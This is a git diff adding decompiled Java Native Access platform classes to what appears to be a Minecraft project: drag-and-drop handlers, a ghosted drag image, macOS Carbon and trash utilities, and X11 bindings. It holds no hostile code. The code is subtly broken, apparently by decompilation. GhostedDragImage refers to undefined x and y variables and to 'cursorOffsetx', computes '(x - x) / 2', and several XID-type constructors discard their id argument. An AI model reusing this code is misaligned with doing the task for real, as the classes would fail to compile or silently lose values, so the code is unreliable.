+    transferable = UNKNOWN_TRANSFERABLE;
+    if (ghost != null) {
+      if (e.getDropSuccess()) {
+        ghost.dispose();
+      }
+      else {
+        ghost.returnToOrigin();
+      }
+      ghost = null;
+    }
+    DragSource src = e.getDragSourceContext().getDragSource();
+    src.removeDragSourceMotionListener(this);
+    moved = false;
+  }
+  
+  private Point getImageLocation(Point where) {
+    where.translate(imageOffset.x, imageOffset.y);
+    return where;
+  }
+  
+  public void dragEnter(DragSourceDragEvent e) {
+    describe("enter", e);
+    if (ghost != null) {
+      ghost.move(getImageLocation(e.getLocation()));
+    }
+    updateCursor(e);
+  }
+  
+
+
+
+  public void dragMouseMoved(DragSourceDragEvent e)
+  {
+    describe("move", e);
+    if (ghost != null) {
+      ghost.move(getImageLocation(e.getLocation()));
+    }
+    if (moved)
+      updateCursor(e);
+    moved = true;
+  }
+  
+  public void dragOver(DragSourceDragEvent e) {
+    describe("over", e);
+    if (ghost != null) {
+      ghost.move(getImageLocation(e.getLocation()));
+    }
+    updateCursor(e);
+  }
+  
+  public void dragExit(DragSourceEvent e) {
+    describe("exit", e);
+  }
+  
+  public void dropActionChanged(DragSourceDragEvent e) {
+    describe("change", e);
+    setModifiers(e.getGestureModifiersEx() & 0x23C0);
+    if (ghost != null) {
+      ghost.move(getImageLocation(e.getLocation()));
+    }
+    updateCursor(e);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/dnd/DropHandler.java b/src/minecraft/com/sun/jna/platform/dnd/DropHandler.java
new file mode 100644
index 0000000..b0bea8f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/dnd/DropHandler.java
@@ -0,0 +1,386 @@
+package com.sun.jna.platform.dnd;
+
+import java.awt.Component;
+import java.awt.Point;
+import java.awt.datatransfer.DataFlavor;
+import java.awt.datatransfer.UnsupportedFlavorException;
+import java.awt.dnd.DropTarget;
+import java.awt.dnd.DropTargetDragEvent;
+import java.awt.dnd.DropTargetDropEvent;
+import java.awt.dnd.DropTargetEvent;
+import java.awt.dnd.DropTargetListener;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DropHandler
+  implements DropTargetListener
+{
+  private int acceptedActions;
+  private List<DataFlavor> acceptedFlavors;
+  private DropTarget dropTarget;
+  private boolean active = true;
+  
+  private DropTargetPainter painter;
+  
+  private String lastAction;
+  
+  public DropHandler(Component c, int acceptedActions)
+  {
+    this(c, acceptedActions, new DataFlavor[0]);
+  }
+  
+
+
+
+
+
+
+  public DropHandler(Component c, int acceptedActions, DataFlavor[] acceptedFlavors)
+  {
+    this(c, acceptedActions, acceptedFlavors, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public DropHandler(Component c, int acceptedActions, DataFlavor[] acceptedFlavors, DropTargetPainter painter)
+  {
+    this.acceptedActions = acceptedActions;
+    this.acceptedFlavors = Arrays.asList(acceptedFlavors);
+    this.painter = painter;
+    dropTarget = new DropTarget(c, acceptedActions, this, active);
+  }
+  
+  protected DropTarget getDropTarget() {
+    return dropTarget;
+  }
+  
+  public boolean isActive() {
+    return active;
+  }
+  
+
+  public void setActive(boolean active)
+  {
+    this.active = active;
+    if (dropTarget != null) {
+      dropTarget.setActive(active);
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected int getDropActionsForFlavors(DataFlavor[] dataFlavors)
+  {
+    return acceptedActions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int getDropAction(DropTargetEvent e)
+  {
+    int currentAction = 0;
+    int sourceActions = 0;
+    Point location = null;
+    DataFlavor[] flavors = new DataFlavor[0];
+    if ((e instanceof DropTargetDragEvent)) {
+      DropTargetDragEvent ev = (DropTargetDragEvent)e;
+      currentAction = ev.getDropAction();
+      sourceActions = ev.getSourceActions();
+      flavors = ev.getCurrentDataFlavors();
+      location = ev.getLocation();
+    }
+    else if ((e instanceof DropTargetDropEvent)) {
+      DropTargetDropEvent ev = (DropTargetDropEvent)e;
+      currentAction = ev.getDropAction();
+      sourceActions = ev.getSourceActions();
+      flavors = ev.getCurrentDataFlavors();
+      location = ev.getLocation();
+    }
+    if (isSupported(flavors)) {
+      int availableActions = getDropActionsForFlavors(flavors);
+      currentAction = getDropAction(e, currentAction, sourceActions, availableActions);
+      if ((currentAction != 0) && 
+        (canDrop(e, currentAction, location))) {
+        return currentAction;
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int getDropAction(DropTargetEvent e, int currentAction, int sourceActions, int acceptedActions)
+  {
+    boolean modifiersActive = modifiersActive(currentAction);
+    if (((currentAction & acceptedActions) == 0) && (!modifiersActive))
+    {
+      int action = acceptedActions & sourceActions;
+      currentAction = action;
+    }
+    else if (modifiersActive) {
+      int action = currentAction & acceptedActions & sourceActions;
+      if (action != currentAction) {
+        currentAction = action;
+      }
+    }
+    return currentAction;
+  }
+  
+
+
+
+
+  protected boolean modifiersActive(int dropAction)
+  {
+    int mods = DragHandler.getModifiers();
+    if (mods == -1) {
+      if ((dropAction == 1073741824) || (dropAction == 1))
+      {
+        return true;
+      }
+      
+
+      return false;
+    }
+    return mods != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void describe(String type, DropTargetEvent e) {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int acceptOrReject(DropTargetDragEvent e)
+  {
+    int action = getDropAction(e);
+    if (action != 0)
+    {
+
+      e.acceptDrag(action);
+    }
+    else {
+      e.rejectDrag();
+    }
+    return action;
+  }
+  
+  public void dragEnter(DropTargetDragEvent e) {
+    describe("enter(tgt)", e);
+    int action = acceptOrReject(e);
+    paintDropTarget(e, action, e.getLocation());
+  }
+  
+  public void dragOver(DropTargetDragEvent e) {
+    describe("over(tgt)", e);
+    int action = acceptOrReject(e);
+    paintDropTarget(e, action, e.getLocation());
+  }
+  
+  public void dragExit(DropTargetEvent e) {
+    describe("exit(tgt)", e);
+    paintDropTarget(e, 0, null);
+  }
+  
+  public void dropActionChanged(DropTargetDragEvent e) {
+    describe("change(tgt)", e);
+    int action = acceptOrReject(e);
+    paintDropTarget(e, action, e.getLocation());
+  }
+  
+
+
+
+  public void drop(DropTargetDropEvent e)
+  {
+    describe("drop(tgt)", e);
+    int action = getDropAction(e);
+    if (action != 0) {
+      e.acceptDrop(action);
+      try {
+        drop(e, action);
+        
+        e.dropComplete(true);
+      }
+      catch (Exception ex) {
+        e.dropComplete(false);
+      }
+    }
+    else {
+      e.rejectDrop();
+    }
+    paintDropTarget(e, 0, e.getLocation());
+  }
+  
+
+
+
+  protected boolean isSupported(DataFlavor[] flavors)
+  {
+    Set<DataFlavor> set = new HashSet(Arrays.asList(flavors));
+    set.retainAll(acceptedFlavors);
+    return !set.isEmpty();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void paintDropTarget(DropTargetEvent e, int action, Point location)
+  {
+    if (painter != null) {
+      painter.paintDropTarget(e, action, location);
+    }
+  }
+  
+
+
+
+
+
+  protected boolean canDrop(DropTargetEvent e, int action, Point location)
+  {
+    return true;
+  }
+  
+  protected abstract void drop(DropTargetDropEvent paramDropTargetDropEvent, int paramInt)
+    throws UnsupportedFlavorException, IOException;
+}
diff --git a/src/minecraft/com/sun/jna/platform/dnd/DropTargetPainter.java b/src/minecraft/com/sun/jna/platform/dnd/DropTargetPainter.java
new file mode 100644
index 0000000..5ac12ae
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/dnd/DropTargetPainter.java
@@ -0,0 +1,9 @@
+package com.sun.jna.platform.dnd;
+
+import java.awt.Point;
+import java.awt.dnd.DropTargetEvent;
+
+public abstract interface DropTargetPainter
+{
+  public abstract void paintDropTarget(DropTargetEvent paramDropTargetEvent, int paramInt, Point paramPoint);
+}
diff --git a/src/minecraft/com/sun/jna/platform/dnd/GhostedDragImage.java b/src/minecraft/com/sun/jna/platform/dnd/GhostedDragImage.java
new file mode 100644
index 0000000..64caec0
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/dnd/GhostedDragImage.java
@@ -0,0 +1,144 @@
+package com.sun.jna.platform.dnd;
+
+import com.sun.jna.platform.WindowUtils;
+import java.awt.Component;
+import java.awt.Dimension;
+import java.awt.Graphics;
+import java.awt.GraphicsConfiguration;
+import java.awt.Point;
+import java.awt.Rectangle;
+import java.awt.Window;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.awt.geom.Area;
+import javax.swing.Icon;
+import javax.swing.JOptionPane;
+import javax.swing.SwingUtilities;
+import javax.swing.Timer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GhostedDragImage
+{
+  private static final float DEFAULT_ALPHA = 0.5F;
+  private Window dragImage;
+  private Point origin;
+  private static final int SLIDE_INTERVAL = 33;
+  
+  public GhostedDragImage(Component dragSource, final Icon icon, Point initialScreenLoc, final Point cursorOffset)
+  {
+    Window parent = (dragSource instanceof Window) ? (Window)dragSource : SwingUtilities.getWindowAncestor(dragSource);
+    
+
+    GraphicsConfiguration gc = parent.getGraphicsConfiguration();
+    dragImage = new Window(JOptionPane.getRootFrame(), gc) {
+      private static final long serialVersionUID = 1L;
+      
+      public void paint(Graphics g) { icon.paintIcon(this, g, 0, 0); }
+      
+      public Dimension getPreferredSize() {
+        return new Dimension(icon.getIconWidth(), icon.getIconHeight());
+      }
+      
+      public Dimension getMinimumSize() { return getPreferredSize(); }
+      
+      public Dimension getMaximumSize() {
+        return getPreferredSize();
+      }
+    };
+    dragImage.setFocusableWindowState(false);
+    dragImage.setName("###overrideRedirect###");
+    Icon dragIcon = new Icon() {
+      public int getIconHeight() {
+        return icon.getIconHeight();
+      }
+      
+      public int getIconWidth() { return icon.getIconWidth(); }
+      
+      public void paintIcon(Component c, Graphics g, int x, int y) {
+        g = g.create();
+        Area area = new Area(new Rectangle(x, y, getIconWidth(), getIconHeight()));
+        
+        area.subtract(new Area(new Rectangle(x + cursorOffsetx - 1, y + cursorOffsety - 1, 3, 3)));
+        g.setClip(area);
+        icon.paintIcon(c, g, x, y);
+        g.dispose();
+      }
+      
+    };
+    dragImage.pack();
+    WindowUtils.setWindowMask(dragImage, dragIcon);
+    WindowUtils.setWindowAlpha(dragImage, 0.5F);
+    move(initialScreenLoc);
+    dragImage.setVisible(true);
+  }
+  
+  public void setAlpha(float alpha)
+  {
+    WindowUtils.setWindowAlpha(dragImage, alpha);
+  }
+  
+  public void dispose()
+  {
+    dragImage.dispose();
+    dragImage = null;
+  }
+  
+
+
+  public void move(Point screenLocation)
+  {
+    if (origin == null) {
+      origin = screenLocation;
+    }
+    dragImage.setLocation(x, y);
+  }
+  
+
+  public void returnToOrigin()
+  {
+    final Timer timer = new Timer(33, null);
+    timer.addActionListener(new ActionListener() {
+      public void actionPerformed(ActionEvent e) {
+        Point location = dragImage.getLocationOnScreen();
+        Point dst = new Point(origin);
+        int dx = (x - x) / 2;
+        int dy = (y - y) / 2;
+        if ((dx != 0) || (dy != 0)) {
+          location.translate(dx, dy);
+          move(location);
+        }
+        else {
+          timer.stop();
+          dispose();
+        }
+      }
+    });
+    timer.setInitialDelay(0);
+    timer.start();
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/mac/Carbon.java b/src/minecraft/com/sun/jna/platform/mac/Carbon.java
new file mode 100644
index 0000000..3f255dbd
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/mac/Carbon.java
@@ -0,0 +1,81 @@
+package com.sun.jna.platform.mac;
+
+import com.sun.jna.Callback;
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByValue;
+import com.sun.jna.ptr.PointerByReference;
+import java.nio.IntBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Carbon
+{
+  public static final Carbon INSTANCE = (Carbon)Native.loadLibrary("Carbon", Carbon.class);
+  public static final int cmdKey = 256;
+  public static final int shiftKey = 512;
+  public static final int optionKey = 2048;
+  public static final int controlKey = 4096;
+  
+  public abstract Pointer GetEventDispatcherTarget();
+  
+  public abstract int InstallEventHandler(Pointer paramPointer1, EventHandlerProcPtr paramEventHandlerProcPtr, int paramInt, EventTypeSpec[] paramArrayOfEventTypeSpec, Pointer paramPointer2, PointerByReference paramPointerByReference);
+  
+  public abstract int RegisterEventHotKey(int paramInt1, int paramInt2, Carbon.EventHotKeyID.ByValue paramByValue, Pointer paramPointer, int paramInt3, PointerByReference paramPointerByReference);
+  
+  public abstract int GetEventParameter(Pointer paramPointer1, int paramInt1, int paramInt2, Pointer paramPointer2, int paramInt3, IntBuffer paramIntBuffer, EventHotKeyID paramEventHotKeyID);
+  
+  public abstract int RemoveEventHandler(Pointer paramPointer);
+  
+  public abstract int UnregisterEventHotKey(Pointer paramPointer);
+  
+  public static abstract interface EventHandlerProcPtr
+    extends Callback
+  {
+    public abstract int callback(Pointer paramPointer1, Pointer paramPointer2, Pointer paramPointer3);
+  }
+  
+  public static class EventHotKeyID
+    extends Structure
+  {
+    public int signature;
+    public int id;
+    
+    public EventHotKeyID() {}
+    
+    public static class ByValue
+      extends Carbon.EventHotKeyID
+      implements Structure.ByValue
+    {
+      public ByValue() {}
+    }
+  }
+  
+  public static class EventTypeSpec
+    extends Structure
+  {
+    public int eventClass;
+    public int eventKind;
+    
+    public EventTypeSpec() {}
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/mac/MacFileUtils.java b/src/minecraft/com/sun/jna/platform/mac/MacFileUtils.java
new file mode 100644
index 0000000..74684c4
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/mac/MacFileUtils.java
@@ -0,0 +1,57 @@
+package com.sun.jna.platform.mac;
+
+import com.sun.jna.Library;
+import com.sun.jna.Native;
+import com.sun.jna.platform.FileUtils;
+import com.sun.jna.ptr.PointerByReference;
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+public class MacFileUtils
+  extends FileUtils
+{
+  public MacFileUtils() {}
+  
+  public boolean hasTrash()
+  {
+    return true;
+  }
+  
+  public static abstract interface FileManager extends Library {
+    public static final int kFSFileOperationDefaultOptions = 0;
+    public static final int kFSFileOperationsOverwrite = 1;
+    public static final int kFSFileOperationsSkipSourcePermissionErrors = 2;
+    public static final int kFSFileOperationsDoNotMoveAcrossVolumes = 4;
+    public static final int kFSFileOperationsSkipPreflight = 8;
+    public static final FileManager INSTANCE = (FileManager)Native.loadLibrary("CoreServices", FileManager.class);
+    
+    public abstract int FSPathMoveObjectToTrashSync(String paramString, PointerByReference paramPointerByReference, int paramInt);
+  }
+  
+  public void moveToTrash(File[] files) throws IOException { File home = new File(System.getProperty("user.home"));
+    File trash = new File(home, ".Trash");
+    if (!trash.exists()) {
+      throw new IOException("The Trash was not found in its expected location (" + trash + ")");
+    }
+    List<File> failed = new ArrayList();
+    for (int i = 0; i < files.length; i++) {
+      File src = files[i];
+      if (FileManager.INSTANCE.FSPathMoveObjectToTrashSync(src.getAbsolutePath(), null, 0) != 0) {
+        failed.add(src);
+      }
+    }
+    if (failed.size() > 0) {
+      throw new IOException("The following files could not be trashed: " + failed);
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/unix/X11.java b/src/minecraft/com/sun/jna/platform/unix/X11.java
new file mode 100644
index 0000000..37a7705
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/unix/X11.java
@@ -0,0 +1,1916 @@
+package com.sun.jna.platform.unix;
+
+import com.sun.jna.NativeLong;
+
+public abstract interface X11
+  extends com.sun.jna.Library
+{
+  public abstract Display XOpenDisplay(String paramString);
+  
+  public abstract int XGetErrorText(Display paramDisplay, int paramInt1, byte[] paramArrayOfByte, int paramInt2);
+  
+  public abstract int XDefaultScreen(Display paramDisplay);
+  
+  public abstract Screen DefaultScreenOfDisplay(Display paramDisplay);
+  
+  public abstract Visual XDefaultVisual(Display paramDisplay, int paramInt);
+  
+  public abstract Colormap XDefaultColormap(Display paramDisplay, int paramInt);
+  
+  public abstract int XDisplayWidth(Display paramDisplay, int paramInt);
+  
+  public abstract int XDisplayHeight(Display paramDisplay, int paramInt);
+  
+  public abstract Window XDefaultRootWindow(Display paramDisplay);
+  
+  public abstract Window XRootWindow(Display paramDisplay, int paramInt);
+  
+  public abstract int XAllocNamedColor(Display paramDisplay, int paramInt, String paramString, com.sun.jna.Pointer paramPointer1, com.sun.jna.Pointer paramPointer2);
+  
+  public static class VisualID
+    extends NativeLong
+  {
+    public VisualID() {}
+    
+    public VisualID(long value) { super(); }
+    
+    private static final long serialVersionUID = 1L; }
+  
+  public static class XID extends NativeLong { private static final long serialVersionUID = 1L;
+    public static final XID None = null;
+    public XID() { this(0L); }
+    public XID(long id) { super(); }
+    
+    protected boolean isNone(Object o) { return (o == null) || (((o instanceof Number)) && (((Number)o).longValue() == 0L)); }
+    
+
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context)
+    {
+      if (isNone(nativeValue))
+        return None;
+      return new XID(((Number)nativeValue).longValue());
+    }
+    
+    public String toString() { return "0x" + Long.toHexString(longValue()); } }
+  
+  public static class Atom extends X11.XID { private static final long serialVersionUID = 1L;
+    
+    public Atom() {}
+    public static final Atom None = null;
+    
+    public Atom(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) {
+      long value = ((Number)nativeValue).longValue();
+      if (value <= 2147483647L) {
+        switch ((int)value) {
+        case 0:  return None;
+        case 1:  return X11.XA_PRIMARY;
+        case 2:  return X11.XA_SECONDARY;
+        case 3:  return X11.XA_ARC;
+        case 4:  return X11.XA_ATOM;
+        case 5:  return X11.XA_BITMAP;
+        case 6:  return X11.XA_CARDINAL;
+        case 7:  return X11.XA_COLORMAP;
+        case 8:  return X11.XA_CURSOR;
+        case 9:  return X11.XA_CUT_BUFFER0;
+        case 10:  return X11.XA_CUT_BUFFER1;
+        case 11:  return X11.XA_CUT_BUFFER2;
+        case 12:  return X11.XA_CUT_BUFFER3;
+        case 13:  return X11.XA_CUT_BUFFER4;
+        case 14:  return X11.XA_CUT_BUFFER5;
+        case 15:  return X11.XA_CUT_BUFFER6;
+        case 16:  return X11.XA_CUT_BUFFER7;
+        case 17:  return X11.XA_DRAWABLE;
+        case 18:  return X11.XA_FONT;
+        case 19:  return X11.XA_INTEGER;
+        case 20:  return X11.XA_PIXMAP;
+        case 21:  return X11.XA_POINT;
+        case 22:  return X11.XA_RECTANGLE;
+        case 23:  return X11.XA_RESOURCE_MANAGER;
+        case 24:  return X11.XA_RGB_COLOR_MAP;
+        case 25:  return X11.XA_RGB_BEST_MAP;
+        case 26:  return X11.XA_RGB_BLUE_MAP;
+        case 27:  return X11.XA_RGB_DEFAULT_MAP;
+        case 28:  return X11.XA_RGB_GRAY_MAP;
+        case 29:  return X11.XA_RGB_GREEN_MAP;
+        case 30:  return X11.XA_RGB_RED_MAP;
+        case 31:  return X11.XA_STRING;
+        case 32:  return X11.XA_VISUALID;
+        case 33:  return X11.XA_WINDOW;
+        case 34:  return X11.XA_WM_COMMAND;
+        case 35:  return X11.XA_WM_HINTS;
+        case 36:  return X11.XA_WM_CLIENT_MACHINE;
+        case 37:  return X11.XA_WM_ICON_NAME;
+        case 38:  return X11.XA_WM_ICON_SIZE;
+        case 39:  return X11.XA_WM_NAME;
+        case 40:  return X11.XA_WM_NORMAL_HINTS;
+        case 41:  return X11.XA_WM_SIZE_HINTS;
+        case 42:  return X11.XA_WM_ZOOM_HINTS;
+        case 43:  return X11.XA_MIN_SPACE;
+        case 44:  return X11.XA_NORM_SPACE;
+        case 45:  return X11.XA_MAX_SPACE;
+        case 46:  return X11.XA_END_SPACE;
+        case 47:  return X11.XA_SUPERSCRIPT_X;
+        case 48:  return X11.XA_SUPERSCRIPT_Y;
+        case 49:  return X11.XA_SUBSCRIPT_X;
+        case 50:  return X11.XA_SUBSCRIPT_Y;
+        case 51:  return X11.XA_UNDERLINE_POSITION;
+        case 52:  return X11.XA_UNDERLINE_THICKNESS;
+        case 53:  return X11.XA_STRIKEOUT_ASCENT;
+        case 54:  return X11.XA_STRIKEOUT_DESCENT;
+        case 55:  return X11.XA_ITALIC_ANGLE;
+        case 56:  return X11.XA_X_HEIGHT;
+        case 57:  return X11.XA_QUAD_WIDTH;
+        case 58:  return X11.XA_WEIGHT;
+        case 59:  return X11.XA_POINT_SIZE;
+        case 60:  return X11.XA_RESOLUTION;
+        case 61:  return X11.XA_COPYRIGHT;
+        case 62:  return X11.XA_NOTICE;
+        case 63:  return X11.XA_FONT_NAME;
+        case 64:  return X11.XA_FAMILY_NAME;
+        case 65:  return X11.XA_FULL_NAME;
+        case 66:  return X11.XA_CAP_HEIGHT;
+        case 67:  return X11.XA_WM_CLASS;
+        case 68:  return X11.XA_WM_TRANSIENT_FOR;
+        }
+        
+      }
+      return new Atom(value);
+    }
+  }
+  
+  public static class AtomByReference extends com.sun.jna.ptr.ByReference { public AtomByReference() { super(); }
+    
+    public X11.Atom getValue() { NativeLong value = getPointer().getNativeLong(0L);
+      return (X11.Atom)new X11.Atom().fromNative(value, null); } }
+  
+  public static class Colormap extends X11.XID { private static final long serialVersionUID = 1L;
+    
+    public Colormap() {}
+    public static final Colormap None = null;
+    
+    public Colormap(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new Colormap(((Number)nativeValue).longValue()); } }
+  
+  public static class Font extends X11.XID { private static final long serialVersionUID = 1L;
+    
+    public Font() {}
+    public static final Font None = null;
+    
+    public Font(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new Font(((Number)nativeValue).longValue()); } }
+  
+  public static class Cursor extends X11.XID { private static final long serialVersionUID = 1L;
+    
+    public Cursor() {}
+    public static final Cursor None = null;
+    
+    public Cursor(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new Cursor(((Number)nativeValue).longValue()); } }
+  
+  public static class KeySym extends X11.XID { private static final long serialVersionUID = 1L;
+    
+    public KeySym() {}
+    public static final KeySym None = null;
+    
+    public KeySym(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new KeySym(((Number)nativeValue).longValue()); } }
+  
+  public static class Drawable extends X11.XID { private static final long serialVersionUID = 1L;
+    
+    public Drawable() {}
+    public static final Drawable None = null;
+    
+    public Drawable(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new Drawable(((Number)nativeValue).longValue()); } }
+  
+  public static class Window extends X11.Drawable { private static final long serialVersionUID = 1L;
+    
+    public Window() {}
+    public static final Window None = null;
+    
+    public Window(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new Window(((Number)nativeValue).longValue());
+    }
+  }
+  
+  public static class WindowByReference extends com.sun.jna.ptr.ByReference { public WindowByReference() { super(); }
+    
+    public X11.Window getValue() { NativeLong value = getPointer().getNativeLong(0L);
+      return value.longValue() == 0L ? X11.Window.None : new X11.Window(value.longValue()); } }
+  
+  public static class Pixmap extends X11.Drawable { private static final long serialVersionUID = 1L;
+    
+    public Pixmap() {}
+    
+    public static final Pixmap None = null;
+    
+    public Pixmap(long id) { super(); }
+    
+    public Object fromNative(Object nativeValue, com.sun.jna.FromNativeContext context) { if (isNone(nativeValue))
+        return None;
+      return new Pixmap(((Number)nativeValue).longValue());
+    }
+  }
+  
+  public static class Display extends com.sun.jna.PointerType { public Display() {} }
+  
+  public static class Visual extends com.sun.jna.PointerType { public Visual() {}
+    
+    public NativeLong getVisualID() { if (getPointer() != null)
+        return getPointer().getNativeLong(com.sun.jna.Native.POINTER_SIZE);
+      return new NativeLong(0L);
+    }
+    
+    public String toString() { return "Visual: VisualID=0x" + Long.toHexString(getVisualID().longValue()); }
+  }
+  
+  public static class Screen extends com.sun.jna.PointerType { public Screen() {}
+  }
+  
+  public static class GC extends com.sun.jna.PointerType { public GC() {} }
+  
+  public static class XImage extends com.sun.jna.PointerType { public XImage() {} }
+  
+  public static abstract interface Xext extends com.sun.jna.Library { public abstract void XShapeCombineMask(X11.Display paramDisplay, X11.Window paramWindow, int paramInt1, int paramInt2, int paramInt3, X11.Pixmap paramPixmap, int paramInt4);
+    
+    public static final Xext INSTANCE = (Xext)com.sun.jna.Native.loadLibrary("Xext", Xext.class);
+    public static final int ShapeBounding = 0;
+    public static final int ShapeClip = 1;
+    public static final int ShapeInput = 2;
+    public static final int ShapeSet = 0;
+    public static final int ShapeUnion = 1;
+    public static final int ShapeIntersect = 2;
+    public static final int ShapeSubtract = 3;
+    public static final int ShapeInvert = 4;
+    
+     }
+  
+  public static abstract interface Xrender extends com.sun.jna.Library { public static class XRenderPictFormat extends com.sun.jna.Structure { public X11.Xrender.PictFormat id;
+      public int type;
+      public int depth;
+      public X11.Xrender.XRenderDirectFormat direct;
+      public X11.Colormap colormap;
+      public XRenderPictFormat() {} }
+    public static final Xrender INSTANCE = (Xrender)com.sun.jna.Native.loadLibrary("Xrender", Xrender.class);
+    
+
+    public static class PictFormat
+      extends NativeLong
+    {
+      private static final long serialVersionUID = 1L;
+      
+
+      public PictFormat(long value) { super(); }
+      
+      public PictFormat() {} }
+    
+    public static final int PictTypeIndexed = 0;
+    public static final int PictTypeDirect = 1;
+    public abstract XRenderPictFormat XRenderFindVisualFormat(X11.Display paramDisplay, X11.Visual paramVisual);
+    
+    public static class XRenderDirectFormat extends com.sun.jna.Structure { public short red;
+      public short redMask;
+      public short green;
+      public short greenMask;
+      public short blue;
+      public short blueMask;
+      public short alpha;
+      public short alphaMask;
+      
+      public XRenderDirectFormat() {} } }
+  public static abstract interface Xevie extends com.sun.jna.Library { public static final Xevie INSTANCE = (Xevie)com.sun.jna.Native.loadLibrary("Xevie", Xevie.class);
+    public static final int XEVIE_UNMODIFIED = 0;
+    public static final int XEVIE_MODIFIED = 1;
+    
+    public abstract boolean XevieQueryVersion(X11.Display paramDisplay, com.sun.jna.ptr.IntByReference paramIntByReference1, com.sun.jna.ptr.IntByReference paramIntByReference2);
+    
+    public abstract int XevieStart(X11.Display paramDisplay);
+    
+    public abstract int XevieEnd(X11.Display paramDisplay);
+    
+    public abstract int XevieSendEvent(X11.Display paramDisplay, X11.XEvent paramXEvent, int paramInt);
+    
+    public abstract int XevieSelectInput(X11.Display paramDisplay, NativeLong paramNativeLong);
+  }
+  
+  public static abstract interface XTest extends com.sun.jna.Library
+  {
+    public static final XTest INSTANCE = (XTest)com.sun.jna.Native.loadLibrary("Xtst", XTest.class);
+    
+    public abstract boolean XTestQueryExtension(X11.Display paramDisplay, com.sun.jna.ptr.IntByReference paramIntByReference1, com.sun.jna.ptr.IntByReference paramIntByReference2, com.sun.jna.ptr.IntByReference paramIntByReference3, com.sun.jna.ptr.IntByReference paramIntByReference4);
+    
+    public abstract boolean XTestCompareCursorWithWindow(X11.Display paramDisplay, X11.Window paramWindow, X11.Cursor paramCursor);
+    
+    public abstract boolean XTestCompareCurrentCursorWithWindow(X11.Display paramDisplay, X11.Window paramWindow);
+    
+    public abstract int XTestFakeKeyEvent(X11.Display paramDisplay, int paramInt, boolean paramBoolean, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeButtonEvent(X11.Display paramDisplay, int paramInt, boolean paramBoolean, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeMotionEvent(X11.Display paramDisplay, int paramInt1, int paramInt2, int paramInt3, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeRelativeMotionEvent(X11.Display paramDisplay, int paramInt1, int paramInt2, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeDeviceKeyEvent(X11.Display paramDisplay, X11.XDeviceByReference paramXDeviceByReference, int paramInt1, boolean paramBoolean, com.sun.jna.ptr.IntByReference paramIntByReference, int paramInt2, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeDeviceButtonEvent(X11.Display paramDisplay, X11.XDeviceByReference paramXDeviceByReference, int paramInt1, boolean paramBoolean, com.sun.jna.ptr.IntByReference paramIntByReference, int paramInt2, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeProximityEvent(X11.Display paramDisplay, X11.XDeviceByReference paramXDeviceByReference, boolean paramBoolean, com.sun.jna.ptr.IntByReference paramIntByReference, int paramInt, NativeLong paramNativeLong);
+    
+    public abstract int XTestFakeDeviceMotionEvent(X11.Display paramDisplay, X11.XDeviceByReference paramXDeviceByReference, boolean paramBoolean, int paramInt1, com.sun.jna.ptr.IntByReference paramIntByReference, int paramInt2, NativeLong paramNativeLong);
+    
+    public abstract int XTestGrabControl(X11.Display paramDisplay, boolean paramBoolean);
+    
+    public abstract void XTestSetVisualIDOfVisual(X11.Visual paramVisual, X11.VisualID paramVisualID);
+    
+    public abstract int XTestDiscard(X11.Display paramDisplay); }
+  
+  public static final X11 INSTANCE = (X11)com.sun.jna.Native.loadLibrary("X11", X11.class);
+  
+  public static final int XK_0 = 48;
+  
+  public static final int XK_9 = 57;
+  
+  public static final int XK_A = 65;
+  
